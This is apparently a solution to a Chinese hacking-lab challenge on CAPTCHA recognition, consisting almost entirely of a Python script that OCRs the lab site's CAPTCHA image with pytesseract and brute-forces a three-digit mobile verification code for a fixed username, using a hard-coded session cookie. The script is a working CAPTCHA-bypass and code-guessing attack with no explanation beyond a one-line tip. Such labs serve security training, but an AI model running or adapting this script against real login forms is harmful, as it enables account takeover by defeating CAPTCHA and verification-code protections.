验证码识别

验证码识别
Tips:验证码依然是3位数

通关地址

import requests
import re
import pytesseract 
from PIL import Image

pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
login_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
header = {'Cookie': 'PHPSESSID=2eb217db866960f77fe2c0f8022a611b'} #自填

s = requests.session()

def vcode():
    res = s.get(pic_url, headers=header)
    with open('pic.png', 'wb') as f:
        f.write(res.content)
    im = Image.open('pic.png')
    code = pytesseract.image_to_string(im)
    if len(code)==6:
        code = code[0:4]
    else:
        return ''
    if code.isdigit():
        return code
    else:
        return ''

for i in range(100, 1000):
    print("test %d"%i)
    while 1:
        code = vcode()
        if code != '':
            break
    print(code)
    data = {'username':'13388886666', 'mobi_code': str(i), 'user_code': code}
    res = bytes.decode(s.post(login_url, headers=header, data=data).content)
    #print(res)
    if('error' not in res):
        print("passwd is %d"%i)
        print(res)
        break